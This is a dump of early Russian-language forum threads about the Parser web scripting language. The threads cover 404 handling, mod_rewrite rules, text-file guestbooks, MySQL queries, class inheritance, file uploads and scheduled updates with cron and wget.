  Вопрос ко всем продвинутым Парсерскриптерам: Как вообще Парсер?\
1. Оправдывает ли он себя по скорости? Справляется с нагрузками посещаемости? Так как предполагаю крупный портальчик.\
\
2. Оправдывает ли он себя в написании порталов или действительно крупных проектов ну например \"портал по туризму\"? Или он годится для автоматизации и упрощения рутины,и просто подразвился ввиду того, что авторы добавляли то, что им самим было необходимо в процессе их работы.\
\
3. Может ли парсер обуздать такие задачи как: Потоковый чат, т.е. на сокете?\
\
4. Можно ли реализовать на парсере: CGI-роботов, я имею ввиду что-то в духе модуля LWP на Перле?\
\
Заранее спасибо, я буду очень признателен за ответы.\
\
P.S. К авторам Parsera: Каковыми бы не были ответы, я искренне рад за то, что самостоятельные Россйские проекты такого объема имеют место быть !!! Когда печатал доку - аж городость какая - то возникла =) Ладно всем, привет!"
"9080","как настроить парсер на то, чтобы он пропускал html-файлы для 404 и не выводил сообщения типа:\
\
[code]\
user-request(1): '...' read failed: No such file or directory (2), actual filename '...' type: file.missing\
[/code]\
\
в .htaccess выведено:\
\
[code]\
<Files ~ \"\\.(p|cfg|htm)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
ErrorDocument 404 /404.html\
ErrorDocument 403 /403.html\
[/code]\
\
для того, чтобы body-файлы (.htm) не выводились стихийно, а только внутри html-файлов (парсируемых).\
\
поэтому при запросе XXXXXXXX.[b]htm[/b], когда выводится код 403 (forbidden), апач выводит 403.html,\
а в случае с 404 (запрос на XXXXXXXX.[b]html[/b])-- вышеупомянутый код...\
\
как избежать?\
\
как сделать так, чтобы в случае 404 выводился /404.html?"
"9081","к примеру, есть cfg-файл, в котором хранится БД гостевухи...\
\
некоторые юзеры пишут слова типа х** п**да, и т.д.\
\
поэтому приходится гостевуху время от времени подчищать...\
\
в ЦФГ есть поле id, в котором выставлены id сообщений (1,2,3,4,5,6,7,8,9, ...). Пытаюсь прописать файл, через который будет происходить удаление \"нежелательных\" сообщений и \"автоматное\" пере-прописывание по id. -- по порядку от 1 до .... Как можно скопом \"пронумеровать\" сообщения?\
\
т.е. среди сообщений 1,2,3,4,5,6,7,8,9 сообщение 5 содержит матерщину -- надо удалить, после удаления id должны выглядеть не 1,2,3,[b]4,6,[/b]7,8,9\
\
а вот так: 1,2,3,[b]4,5,6,[/b]7,8\
\
если можно, напишите не код, а алгоритм... -- спрограммить хоцца самолично :)"
"9082","А нафига тебе такой подход?\
Чтобы выводить их определенное кол-во на страницу?\
Лучше используй [b]^table.line[][/b]\
\
А если самому че-нить спрограммить хоцца - напиши антимат."
"9083","А не проще тогда ^try использовать? ;)"
"9084","Нужно изменить главный конфигурационный файл (auto.p) так, как написано в нижеприведённом сообщении, тогда при 404ой ошибке будет вызываться функция [i]^error404page[][/i] (её нужно написать самому).\
\
[url=\"./?id=5902\"]* вот как пишу я, проблем не замечал. ;-), Constantine [30.08 03:16] [/url]"
"9085","Создать простую форму, в которую выводить только сообщения и checkbox. Отметив нежелательные элементы жмешь удалить.\
Дальше все просто. Сначала тебе нужно присвоить записям в таблице признак удаления, согласно checkbox а затем выбрать и сохранить все которые не помечены. Это самый простой метод, что называется \"в лоб\"."
"9089","apache отдаёт запрос на растерзание cgi скрипту, даже, если файла нет. почему: другой вопрос.\
\
бороться можно по-разному.\
\
1. можно бороться изнутри parser: в @unhandled_exception проверять эту ситуацию, и выводить [code]$response:location[/notfound/][/code], тогда произойдёт internal redirect на страницу, которой нет, и сработает \
[code]\
ErrorDocument 404 xxxx\
[/code]\
\
2. можно бороться снаружи: с помощью mod_rewrite проверить, что файла на диске нет, и сделать internal redirect на /notfound/, сработает [см. 1]."
"9090","id не нужно трогать. представь себе, поисковик проиндексировал сайт, кто-то поисковиком нашёл что-то ценное на твоём сайте, нажимает на ссылку… а там совсем не то сообщение.\
\
поэтому ещё надо быть крайне аккуратным с номерами страниц при разбиении подобных материалов: сообщения в них не должны ездить со страницы на страницу. т.е. однажды попав на страницу #48 сообщение не должно с неё никуда деться.\
\
диагноз: страницы нужно нумеровать от старых к новым."
"9091","рано или поздно кто-то, нажимающий на кнопку «удалить» будет не в себе, а восстановить из backup может только тот, кто делает его очень аккуратно и часто. в любом случае, восстановлено всегда бывает не 100%.\
\
диагноз: записи из таблиц удалять, по возможности, не нужно.\
особенно это относится ко всяким форумам и проч.\
их нужно только помечать, как «удалённые» и не показывать."
"9092","если по какой-то причине нельзя воспользоваться базой данных,\
необходимо помнить одну важную вещь: время течёт.\
\
пользователи post'ят.\
и что будет с быстродействием раздела, использующего [b]один[/b] файл для хранения [b]всех[/b] сообщений, легко можно себе представить.\
\
диагноз: бейте файл с сообщениями на части, загружайте только нужную часть/части."
"9093","Запрос:\
select id, date, header, body from news where id>1\
Ошибка:\
must return nothing...\
Но данные в таблице есть!\
Помогите!"
"9095","используйте ^table::sql\
\
[см. уроки в документации]"
"9096","Если я в ауто.п проаисываю метод @postprocess\
то хтмл-ка передается ей как параметр\
а что, если мне до этого нужно вызвать свой код, и инициализировать переменные\
если я напишу так в ауто п\
----\
@postprocess[body]\
мой код\
хэдер\
$body\
футер\
----\
\
то хтмл-ка, будет отпарсена и передана методу, а затем пойдет мой код, хэдер и отпарсенный код и футер\
\
То-есть переменные отаются проинициализированные позже парсинга хтмл\
а мне нужно до, так-как я их использую в хтмл"
"9097","а если тебе надо чтобы что-то произошло ДО, юзай метод @auto[]"
"9098","alex, такой подход годится только для простейших случаев.\
представьте, что вам захочется дла какого-то раздела сделать другой заголовок, вы что, будете \
[code]\
^if(in \"/news/\"){другой}{обычный}\
[/code]\
делать? это ужасно некрасиво.\
рекомендуемый подход описан в примерах в документации."
"9099","Друзья, требуется небольшая консультация по SQL-синтаксису (либо по потенциальным возможностям) MySQL-вского SQL-я (простите за масло-масленое).\
\
В Microsoft Access можно писать подобные запросы (пример привожу самый наипростейший, чтобы не запутывать): \
[code]\
SELECT tab1.id, tab1.name, tab1.price, [price]*5 AS xxx, [xxx]-2 AS Z \
FROM tab1; \
[/code]\
\
В MySQL такой фокус не проходит - нельзя из вычисляемого в запросе поля xxx на лету, например, вычесть число 2! \
[code]\
SELECT tab1.id, tab1.name, tab1.price, price*5 AS xxx, xxx-2 AS Z \
FROM tab1; \
[/code]\
(такой вариант не работает).\
Вариант \"price*5-2 AS Z\" прошу не предлагать. Это очевидно, что в этом простейшем случае можно (и нужно) сделать именно так, но когда требуется таскать за собой сложные выражения (переписывать много раз один и тот же длинный код) - то это плохое решение.\
Ведь в том же MS Access это решается просто и красиво, должно же это делаться и в MySQL (только как пока не пойму???)\
Или это нельзя сделать в MySQL принципиально?! \
\
Кто знает ответ на мой вопрос подскажите, буду очень благодарен.\
"
"9100","1, 2 - как пример - mtv.ru\
3, 4 - чисто парсером нельзя (чат на mtv писан на c++)"
"9101","Не думаю, что базе данных надо уметь считать определенные интегралы. Тем более, что к самим данным это не имеет отношения.\
Или вычисления выноси в код парсера, или переделывай базу так, чтобы вычисления делались в момент записи."
"9102","Так вот я и хочу\
если в хтмл прямо не указан заголовок, то кушаем стандартный\
а вот если указан, то его и берем\
\
а мне нужно конкретное решение\
о правильности подхода можно спорить годами"
"9103","Ну вообще-то метод @auto[] не позволяет писать код, кроме прямой инициализации констант\
А мне нужно выполнить код\
вызов своего метода из метода ауто выдает ту-же ошибку\
@auto[]\
^if(def $form:lang){$lang[$form:lang]}\
auto.p(5): 'lang' not determined yet  type: parser.runtime\
"
"9104","Если сразу точно известно максмальное количество всех необходимых свойств, то лучше завести соответсвующее кол-во полей в таблице (будет проще работать в дальнейшем, по памяти скорее всего не много проиграешь).\
Если не понятно сколько свойств нужно будет хранить, то придётся писать данные по определённым правилам в одно текстовое поле. У меня был такой случай, когда нужно было хранить в таблице базы данных координаты опорных точек разных контуров (X;Y). Каждая запись в таблице описывала один контур. Помимо прочих свойств контура (хранились в отдельных полях таблицы) нужно было хранить инф. об опорных точках - их могло быть и 3 и 123. Поэтому я их хранил в одном поле примерно так: {X1;Y1}{X2;Y2}{X3;Y3} а потом выдирал координаты специальной функцей."
"9105","Привет всем асам парсера!\
Я добавляю фрагмент кода а он его редактирует. Возможно ли этого избежать?"
"9106","Кроме того, по моему ты и хотел инициализировать переменные, и лучшее место для этого - @auto[] IMHO"
"9107","/cgi-bin/parser3.cgi\
/cgi-bin/charsets/таблицы_кодировок\
/cgi-bin/auto.p(with @conf)\
/usr/lib/libparser2mysql.so\
\
так или нет?\
sever linux\
\
ну здохдо все, надо по новой, а не помню как"
"9109","Под кодом я понимаю именно код\
мне нужно кое-что сравнить, кое что добавить и определить переменные\
а потом их юзать в хтмл-ках\
\
^if(def $cookie:lang){$lang[$cookie:lang]}\
^if(def $form:lang){$lang[$form:lang]}  \
^if(^lang.match[^^(ru|en)^$]){\
	$cookie:lang[$.value[$lang]]}{\
	^if(^env:HTTP_ACCEPT_LANGUAGE.match[^^(ru|ua)^$][ix]){\
		$cookie:lang[$.value[ru]] $lang[ru]\
		}{\
		$cookie:lang[$.value[en]] $lang[en]\
		}}\
\
"
"9110","Да зачем определённые интегралы?\
Возьмём тоже не сложный пример: пусть id1 - код форума, id2 - код сообщеня на форуме, x - код родительского сообщения (если x=0, то значит это корневое сообщение). Требуется подсчитать сколько в каждом форуме сообщений, и соответственно сколько в каждом форуме корневых сообщений (x=0). Ну и из спортвного интереса можно ещё подсчитать разницу (см. XXXXX - правда не знаю зачем, но здесь как раз приходится таскать за собой формулы, а таких ситуаций бывает много)\
[code]\
SELECT tab1.id1,\
Count(tab1.id2) AS CountALL,\
Sum(if(tab1.x, null, 1)) AS CountZero,\
Count(tab1.id2) - Sum(if(tab1.x, null, 1)) AS XXXXX\
FROM tab1\
GROUP BY tab1.id1;\
[/code]\
И эти 6 строчек делают то, что на Прасере пришлось бы писать гораздо дольше. А Парсером останется только взять таблицу и пробежаться по ней - что надо вывести. \
Зачем писать что-то на Парсере если этим можно заставить заниматься SQL (конечно если на SQL это достаточно не сложно реализовать). SQL специально заточен под поиск и отбор данных! Значит именно он должен заниматься этой работой. Другое дело когда SQL нету, тогда народ начинает изобретать всякую самопальную индыксацию, реализовывать блокировку файлов при многопользовательской работе с ними и т.п.\
\
Но меня интересует принцип, можно или нет использовать в формулах имена вычисляемых полей!!!!?????? Если кто-то точно знает, что нельзя, то так и напишите - я смирюсь :("
"9111","Класс А является предком класса Б.\
Класс Б переопределяет 2 метода класса А (c_method,d_method).\
В методе c_method создаем екземпляр класса E.\
Потом хотим обратиться к методам екземпляра E из d_method.\
\
Имеем : (void) not a method or junction, can not call it\
\
Это моя лажа ?"
"9113","из сообщения не ясно, куда вы положили ссылку на экземпляр E. и как шли вызовы к c_method.\
\
могу добавить, что в следующей версии parser область видимости будет сильно сужена, и родитель не будет видеть полей своих детей."
"9115","В сложившейся ситуации даже process{$body} не помогает, так как postprocess сначала парсит @main (то-биш хтмл-ку) а потом ее загоняет в переменную и конструкции типа: \
----\
$set_var[aaa]\
^process{$body}\
----\
не помогают\
приходится в самой хтмл-ке писать не $var, а ^$var, что-бы постпроцесс ее не отпасил раньше времени\
\
Уважаемые разработчики, введите функцию загона всего метода @main в переменную, так-как метод @postprocess в основном используется всеми не по прямому назначению!!!!\
Ну введите что-то типа @postmain[var] ;)"
"9116","Я бы вообще не использывал id, есть методы .count[] - узнать количество строк,  и .offset() - смещает указатель текущей строки."
"9117","А теперь вопрос: \
что сложнее:\
[code]$t[^table::sql{select a, b from t}]\
^t.menu{$t.a - $t.b - ^eval($t.a+$t.b)}[/code]\
или\
[code]$t[^table::sql{select a, b, a+b as c from t}]\
^t.menu{$t.a - $t.b - $t.c}[/code]\
"
"9118","alex, перестаньте заниматься ерундой и экономить одну строчку.\
напишите в заголовке всех документов\
\
[code]\
@body[]\
[/code]\
тогда вы сможете сделать всё понятно и логично. см. примеры.\
\
\
разумеется, в postprocess приходит результат ^main[], это документировано."
"9119","Конструктор (load) переопределяется в наследнике.\
Метод (right) переопределяется в наследнике.\
\
В новом конструкторе (load) создается екземпляр класса (gbook).\
Я так понимаю, что в методе right можно обратиться к созданному конструктором екземпляру gbook.\
\
Ан нет, не выходит.\
[code]\
@CLASS\
page\
@USE\
gbook.p\
pager.p\
page_base.p\
@BASE\
page_base\
@load[title]\
^page_base:load[$title]\
\
$current[^if(def $form:page){$form:page}{1}]\
$gb[^gbook::load[]]\
$pager[^pager::load[$MAIN:pageuri;$gb.total;5;$current]]\
\
@right[]\
^page_base:right[\
        ^gb.proc[$form:test]\
        ^pager.show[]\
        ^gb.getMessages[$pager.perpage;$pager.offset]\
        <content>Всего : $gb.total</content>]\
====В коде :=============================================\
...\
^use[то что вверху]\
$mypage[^page::load[XXX]]\
^mypage.right[]\
...\
[/code]\
\
Ошибка в строке : ^gb.proc[$form:test]\
\
(void) not a method or junction, can not call it\
proc"
"9120","[quot]\
3. \
Если в классе MAIN определен метод postprocess, то результат работы метода main передается единственным параметром этому методу, и пользователь получит уже его результат работы. \
Таким образом вы получаете возможность «дополнительной полировки» результата работы вашего кода. \
[/quot]\
\
Понимаешь, его используют для «дополнительной полировки».\
Обрабатывает он, как написано в доке - ГОТОВЫЙ HTML перед выдачей его броузеру. Естественно, что все методы, уже давно выполнены.\
\
Тебе говорят, как это идеологически верно делать использую этот инструмент, но ты хочешь делать это иначе и все тут. Когда взял молоток, работать им надо как молотком, а если будешь работать как пилой - то у тебя очень плохо будет получаться.\
\
Для того, чтобы делать что-то, близкое к тому, что ты хочешь - есть несколько вариантов при использовании парсера.\
\
1. без классов. в auto.p определяешь метод, например @init[] и вызываешь его при обработке домемента из @main[]\
\
2. с классами. пишешь класс. в конструктор класса засовываешь все, что тебе надо.\
\
Так-же внимательно почитай сообщение ПАФ-а и доку, там показано как перекрывать методы, и при этом не надо вообще ничего инициализировать: у тебя есть @main[], в нем вызываются ^header[] ^body[] и ^footer[]\
Ты в своем документе определяешь другой ^header[] если тебя default не устраивает. Ты-же хочешь определить переменную, и чтобы у тебя один на всех метод вывел эту переменную. Разницу почувствуй...."
"9121","Помогите, пожалуйста, у меня нет возможности использовать mysql, как сделать так, чтобы данные, веденные через форму, сохранялись или потом добавлялись в текстовый файл?"
"9124","Гостевую писал. Даже чат писал. \
Но вот про разбивание страниц на части - хоть убей не помню. :-)\
\
Хват."
"9125","Я имею ввиду стоит подождать(в тех проектах,где время терпит) или не стоит."
"9127","Огромное спасибо, сам как-то об этом не подумал...\
А без флуда слабо?"
"9128","У меня такая проблема:\
[code]\
RewriteRule .* /index.html\
[/code]\
но при таком коде Апач зацикливается на редиректе, а как мне сделать так, что бы он не зацикливался?\
\
Очень нужно, уважаемые знатоки!"
"9129","[code]\
RewriteEngine On\
Options +FollowSymlinks\
RewriteBase /\
RewriteRule ^(.*)(_)(images|css)(.*)(\\.gif|\\.css|\\.jpg)$ /$3$4$5\
RewriteRule ^.*[^(\\.gif|\\.css|\\.jpg)]$ index.html\
[/code]"
"9130","мне нужно, чтобы любой запрос, будь то вида \
[code]http://...../lala/lulu/aga/jir_3247.zip?size=32[/code]\
редиректился на /index.html"
"9131","А перегруженный метод не может к ней обратится"
"9134","RewriteEngine   on\
RewriteCond     %{REQUEST_FILENAME}     !-f\
RewriteCond     %{REQUEST_FILENAME}     !-d\
RewriteRule     ^(.*)$  /main.html?uri=/$1      [L,QSA]\
\
не знаю, мне вот этого ^^^^^^^ хватает, чтобы всё шло на main.html, а там проверяю и если что - 404"
"9135","Примерно принцип (да не убиёт меня кто-нить из асов...):\
\
[code]\
@save_msg[]\
$nick[$form:nick]\
$text[$form:text]\
\
# проверяет наличие файла-базы данных\
^if(-f \"/cfg/dbase.cfg\"){\
\
# файл найден -- добавляем к уже существующему новые строки\
$old_msg[^table::load[/cfg/dbase.cfg]]\
\
# составляем таблицу с новыми записями в tab-delimited формате\
$new_msg_store[^table::create{nick text\
$nick $text}]\
\
# объединяем старое с новым -- здесь или через join или через append\
^old_msg.join[$new_msg_store]\
\
# сохраняем объединенную базу\
^old_msg.save[/cfg/dbase.cfg]\
}{\
\
# файл НЕ найден -- создаем новую таблицу\
$new_msg_store[^table::create{nick text\
$nick $text}]\
\
# сохраняем базу\
^new_msg_store.save[/cfg/dbase.cfg]\
}\
[/code]\
\
Принцип взят из кода гостевухи. Некоторые поля, значения форм и переменные (как следствия значения форм) отсутствуют по нескольким причинам,\
\
1. Ну не хочу я выкладывать свой голый текст... (из сообр. безопасности) :)\
2. столбцы id и time я пока убрал -- в пред. мессах (http://parser.ru/forum/?id=9081) поставили вопрос об их целесообразности (по крайней мере, поля id), и я теперича не уверен, нужны ли они вовсе...\
\
а так, принцип тот же, но советую перейти по вышеупомянутой ссылке (http://parser.ru/forum/?id=9081) м прочитать соображения по поводу .cfg файлов как баз данных...\
\
а так... все это действительно подпадает под RTFM...\
http://parser.ru/docs/lang/lesson1.htm\
http://parser.ru/docs/lang/tableclass.htm (и далее... всю главу)\
"
"9136","Как разбить?\
\
Я представляю себе это только так:\
\
* есть директория /gb_msgs/ (к примеру)\
* есть файлы 00000001.cfg и далее типа [%08.f] + .cfg -- в первом хранятся первые десять сообщений, во втором -- вторые десять и т.д.\
\
где-то подспудно я чую, что метод такой -- неверный... но другого придумать не могу, а бывают случаи, когда SQL недоступен..."
"9137","вообще-то заявляемые операторы должна отделять пустая строка, чего в коде не наблюдается...\
\
должно быть (вроде):\
\
[code]\
@CLASS\
page\
\
@USE\
gbook.p\
pager.p\
page_base.p\
\
@BASE\
page_base\
\
@load[title]\
^page_base:load[$title]\
[/code]\
\
может, дело в этом (но здесь парсер должен был бы сообщить конкретно об отсутствии той самой пресловутой пустой строки...)?"
"9138","Например, я хочу, чтобы сообщение добалялось на komok.com регулярно 3 раза в месяц в течение года. Как это сделать с помощью Parser?"
"9139","народ!\
\
тут у меня такая просьба.\
или предложение, не знаю уж как и назвать.\
\
ситуация такая.\
у меня есть 2 сайта, короые нужно поддерживать и обновлять.\
делаются они для личных амбиций и денег не приносят, так что бюджет отсутствует, и делаю всё сам.\
\
сайты тупо нарисованы в дримвьюере, но html я и сам вроде как знаю.\
дело в том, что делается всё пока вручную и, так как количество страниц уже подошло к сотне, дальше так продолжаться не может.\
\
хостинг, который поддерживает всё, что можно имеется. осталось дело за малым.\
нужен движок. \
\
так вот, я был бы очень благодарен. если бы нашёлся кто-то, кто мог бы помочь в его создании.\
на parser'e соответственно.\
скажем так, я собираюсь в итоге выучить его сам, но мне нужен кто-то, кто мог бы в реале отвечать на мои глупые вопросы, помогать с настройкой, да в общем и написать движок для одного из сайтов (того, что окажется попроще). \
ну не целиком, конечно, написать, а самые сложные для плотно позабывшего программирование меня места.\
\
интерактивности на сайте никакой нет. \
\
заплатить деньгами не могу, бо нету.\
но могу заплатить встречными услугами.\
\
я тут со своей стороны умею писать всевозможные тексты на заказ, на профессиональном уровне знаю испанский и английский (вплоть до того, что написанный мною на английском текст можно смело выдавать за написанный носителем языка), пишу музыку на востребованном уровне (наверно уже профессионалом можно называться) и продаю всякую музыку редкую (могу и дисками того этого...).\
\
вот.\
\
может кто захочет мне помочь?\
в долгу постараюсь не остаться.\
егор.\
\
egor@dreamlin.com\
icq: 141828415\
"
"9140","http://spectator.ru/spengy/\
Правда на PHP. :-) "
"9141","Собственно говоря вопрос до безумия простой и я сам никогда не думал, что встану в тупик (может просто я конечно туплю от трудовой переработки !?!?!).\
Вопрос таков: сайт состоит из 1 страницы + набор файлов с классами(вероятно html содержимое классов будет переезжать полностью в БД) -- как это все работает, я полагаю уже все знают, НО при попытке сохранить страницу с localhost'а -- сохраненка выходит пустой :-( (у хостера я еще свой сайт не пробовал -- может конечно все и иначе, однако...) -- однако подумал я том, а все ли будет нормально с поисковыми червями, пауками и прочей живностью у моего сайта, который строится полностью на БД (в т.ч. и ссылки все идут на один скрипт формирование ссылки из БД (ссылки стояться как будто есть сайт с директориями и разными файлами(жестокий технологический обман пользователей))???\
ведь реально глупый вопрос -- а вот опыта дружбы с поисковиками нехватает -- сказывается вредное влияние интранета.\
Жду серьезных и содержательных ответов.\
+ желательно услышать мнение о вредоносности создания сайтов полностью на БД (кроме может классов и пр.скриптов) (т.е. на страницу приходится не менее 20 запросов в базу)??\
"
"9142","Единственно в моем варианте нужно подкорректировать правило. Один нюанс в том, что если в запросе встречается что-либо из \
[code]\
RewriteRule ^.*[^(\\.gif|\\.css|\\.jpg)]$ index.html\
[/code]\
\
Попробуй к примеру \
\
http://...../lala/lulu/aga/jir_3247.[b]rar[/b]?size=32.\
\
Просто надо немного подкорректировать правило.\
Оставляю это вам.\
\
"
"9143","а как ты вообще это сделаешь парсером?\
имхо, легче всего будет perl+cron"
"9144","Парсер может работать ка веншний и скриптов [подробнее в документации]. Запуск с определенной периодичнотью в юникс-системах выплняет krontab ..."
"9145","т.е. он обрабатывает только тот HTML, что ты ему выдашь. При этом ему абсолютно наплеавть в БД у тебя сайт или нет. Другое дело, что можно в зависимости от USER_AGENT'а выдавать поисковику что-то другое, но это дело вкуса ..."
"9146","Исходя из моего опыта перевод строки тут не при чем.\
Это играет роль тогда, когда есть в конце файла пустой оператор.\
Тогда перевод строки нужен, т.к. он и будет являться телом оператора."
"9148","Нужен скрипт для закачки файла с компьютера пользователя на сервер."
"9149","это я видел.\
близко, но мимо. \
\
может всё же кто-нть с парсером пайдётся?\
"
"9150","Дурацкий, но впервые затронутый мною вопрос.\
Я раньше не использовал h1 тег вообче, но вот прочитал в одной статье,\
что они влияют на индексацию в разных системах поиска и решил\
их использовать, но вот беда - эта сволочь берет и внаглую оставляет\
пустой строку, находящуюся ниже её. Как с этим боротся?"
"9152","форма на странице:\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\">…\
<input name=\"photo\" type=\"file\"> ... \
</form>\
[/code]\
\
в скрипте:\
[code]\
$form:photo.save[binary;/путь/на/сервере/$form:photo.name]\
[/code]"
"9154","А станет ли делиться? МОгу побыть консультантом - но обещать не буду, т.к. работы туева хуча - дай бог со своей разобраться.\
А вобще-то начинай делать сам, а чего не получается ты здесь, на форуме вопрошай - ответят в 99% случаев(НУ НА ДУРАЦКИЕ ВОПРОСЫ НЕ ВСЕГДА ОТВЕЧАЮТ). \
А если ПАФ ответит, то счастие тебе будет, ибо ответы его лаконичны и толковы..."
"9155"," а в кроне. \
Просто прописываешь в кронтаб время и параметры исполнения скрипта и как и было задумано будет в нужное время тебе и почту рассылать и \"ваще\". А если не знаешь, как пользоваться - айда в маны - кроном вобще пользоваться не сложно\
"
"9157","Размер файла после сборки из исходников более 2 мегабайт, а разделе СКАЧАТЬ данного сайта лежит тотже файл но всего порядка 450 килобайт в чем такая разница\
может кто подмкажет какие опции надо использовать при сборке, чтоб получить скрипт без XML и размером поменьше"
"9159","ОС FreeBSD 4.7 И MYSQL из портов"
"9161","В процессе работы столкнулся с проблемой:\
необходимо \
- загрузить файл\
- модифицировать в форме\
- сохранить обратно\
\
Проблема состоит в том как в text объекта file запихнуть переменную ?\
\
Parser ругается:\
element can not be stored to file\
text\
\
\
--\
dimap\
"
"9165","Что-то не правильно сделано, скорее всего.\
Я просто не могу придумать даже вариантов с таким числом реально разных запросов на страницу (не считая бредовых, конечно, типа получения 10 новостей каждую своим запросом)..."
"9166","Налицо непонимание термина \"символьный класс\" ([...]).\
Этот рул проскипает все, что содержит на конце символы (точнее, один из) ()|\\.cfgijps и равносилен\
[code]RewriteRule [^()|\\.cfgijps]$ index.html[/code]\
Итого: /blah/blah/blah/aaa.zip просвистит мимо index.html аки Павел Буре мимо защитников...\
Что делать: читать книги по регулярным выражениям."
"9167","Страница собирается из кусков, которые храняться в БД -- скажем куски общего вида страницы и куски деталий -- в зависимости от условий(т.е. запрашиваемой страницы) все это и собирается + проверка наличия страницы в базе(они же все виртуальные) + все ссылки собираются из базы(т.е. в html'е задается id страницы -- и когда она генириться скрипт из базы по id делает нормальный линк(например: ^LINK:dbconstructor[1234] будет выглядеть как http://server_name.ru/folder1/subfolder/index.html)) -- вот таким образом и набигают запросы(естественно в рамках одного соединения с базой).\
Было бы здорово, если бы написали какое колличество запросов оптимально(все запросы простые(FROM из 2-3 таблиц)) -- и вообще мнение о том, как оптимальней сибирать страницы из бд ?? \
"
"9168","Я вроде как выспался и взглянул на все уже более светлыми мозгами, но все равно спасибо. :-)"
"9169","Естественно желатьно парсером -- без всяких посредников (пользовательских машин).\
На практике так -- человеку на обновить модуль администрирования скажем: my_class.p -- этот модуль лежит на серевер разработчика и на него есть права. Задача тривиальна -- закачать с сервера разработчика на сервер хостера клиента.\
Как это лучше сделать ???"
"9170","Лучше по ftp ... На худой конец wget'ом ..."
"9171","Ведь в идеале клиент нажимаетна ссылку \"ОБНОВИТЬ\"  и все скриптом обновляется (backup паресром тут без проблем)\
Что такое wget???\
А может это возможно другими языками ???"
"9172","1. wget - фактически это юниксовый http-клиент, который позволяет забирать файлы с другого сервера. Команду man еще никто не отменял :)\
2. Если доступна возможность использования других языков (c, perl, pascal и т.д.), то можно соорудить небольшой ftp-клиент, который будет производить все необходимые апдейты. "
"9173","Все зависит от задачи.\
При поджоде \"все в одном\" мне кажется достаточным количество, допустим, в 4 запроса.\
1. выбор единичного \"нашего\" объекта where url = 'где_мы_сейчас' (автоматом 404, если объект не найден).\
2. выбор всех \"рутовых\" объектов (у которых нет родителя, или родитель - \"/\", для top-level меню).\
3. выбор всех объектов \"того же уровня\" (дети того же родителя, что и \"наш\" обект, для под-меню внутри раздела, допустим).\
4. выбор всех детей \"нашего\" объекта, у которых галочка \"показывать на сайте\" (для отображения \"куда копать глубже\").\
Все...\
Это, правда, для случая, когда все страницы псевдо-статичные (скажем так, не форум/гостевая - там может оказаться сложнее) и вложенности 3-4. Для больших уровней вложенности может понадобиться рекурсивный обход дерева для построения всей цепочки вверх до корня, но это всего несколько запросов, часть из которых уже сделана на стадиях 2 - 4..."
"9174","Я не программист, хостер в основном valuehost(freebsd стоит) -- самостоятельно я в этом не разберусь -- если не сложно напиши как мне поступить с 1ым вариантом(wget'ом). \
Пожалуйста."
"9176","Пока у тебя идут простые апдейты [типа иправил багу в макросе и просто заменил файл] все нормально, а вот если при этом надо еще сделать какие либо изменения в данных [например: создать новую таблицу или добавить поле в базу], то тут надо предусмотреть еще и проведение дополнительных операций. \
\
Алгоритм может быть примерно такой: грузим строго определенный файл с сервера, в котором содержится макрос @engine_update[] -> запускаем его, а он уже производит апдейт в том порядке, который нужен [т.е. сначала изменяет формат данных, а потом меняет файлы с макросами ... при этом он может определять версию, движка который стоит у пользователя], что позволит избежать сбоев."
"9178","Как организовывать взаимодействие wget и парсера ?"
"9179","Ибо желаю вам всем добра и здоровья.\
Почему лучше не пользоваться: не желает сам закачитвать в бинарнике -- и прежде чем вы выясните в чем беда -- потеряете много времени.\
Характерные признаки такой закачки:\
 Shared object has no run-time symbol table + Premature end of script headers\
Это просто добрый совет"
"9181","Вот пример auto.p файла:\
[code]\
@main[]\
$doc[$form:doc]\
\
@getDocName[]\
${doc}.xml\
[/code]\
\
Вот код test.html:\
[code]\
^getDocName[]\
[/code]\
\
Посылаем на страницу запрос http://localhost/test.html?doc=main,\
результат .xml.\
"
"9183","Цитата из документации:\
[quote]\
Т.е. в любом из перечисленный файлов может быть определен метод main, и будет вызван тот, который был определен последним - скажем, определение этого метода в запрошенном документе перекрывает все остальные возможные определения, и будет вызван именно он.\
\
Если в файле не определен ни один метод, то все его тело считается определением метода main.\
[/quote]\
\
т.е. В твоем случае метод main из auto.p просто не вызывается."
"9184","Я говорю о скриптах, которые выполняются из коммандной строки (shell-script) и CGI скриптах.\
\
У меня получалось писать shell-script на парсере, но он не видит auto.p и, как следствие, sql-драйверов.\
\
Подумалось, что если этот скрипт использовать, как CGI, то переменные окружения будут соответствующие и он будет работать нормально, но эта конструкция у меня вообще не завелась.\
\
Если кто-то это делал или есть идеи, поделитесь...\
\
Заранее благодарен."
"9187","что во время работы @auto[] базовые объекты не определены и обращатся к объекту $form нельзя ... RTFM!!!"
"9189","В начале работы Парсер собирает [компилирует] твои скрипты. Компилятор может дать тебе возможность инициализировать переменные, создать свои объекты ... но он не может до окончания компиляции обратится к объектам. Тут все нормально ...\
\
В твоем случае надо сделать так [это и в доке описано]:\
[code]\
в auto.p\
@main[]\
  $doc[$form:doc]\
  ^body[]\
\
@getdocname[]\
^result[${doc}.xml]\
\
@body[]\
\
\
\
в index.html\
@body[]\
  ^getdocname[]\
\
[/code]\
\
Все ..."
"9190","Спасибо Luzhnikovskiy, я совсем забыл про эту команду.\
А собирал я его для того чтоб не было привязки к группам"
"9191","Вообще-то, если auto.p лежит рядом с парсером, он найдется. И ^conf[] из него выполнится...\
А если не хватает переменных окружения, так это просто почитай ман от своей оболочки - они очень легко задаются.\
\
А вот с CGI что-то ты перемудрил - я вообще не понял, чего достичь то хотелось? ;-)"
"9192","Ну скажем имеем shell-скрипт test (-rwxrwxr-x, lion:www)\
[code]\
#! /bin/bash\
echo \"Content-type: text/plain\"\
echo\
echo \"Привет\"\
[/code]\
\
Если этот скрипт зарустить из коммандной строки, то он исполнится, а если его положить в /cgi-bin/ под именем, test.cgi и загрузить по http, то это тоже будет работать.\
\
Иедя оаключается в том, чтобы скрипт написанный подобным образом на парсере можно было использовать как CGI.\
\
Я не очень понял, что происходило в моём эксперементе, но мне кажется, что парсер даже не запускался."
"9193","поищите слова MSAccess по форуму"
"9194","Это должно навести на мысль, что лучше следовать инструкции по установке и использованию, чем придумывать несуществующие фичи.\
\
Заодно, на досуге подумать, как реализовать желаемое на PHP или ASP. Это тоже должно навести на мысль..."
"9195","В настройках ставлю закачивать в бинарнике -- результат Shared object has no run-time symbol table -- это я думаю достаточно."
"9196","Скорее всего у тебя он криво поставлен ... "
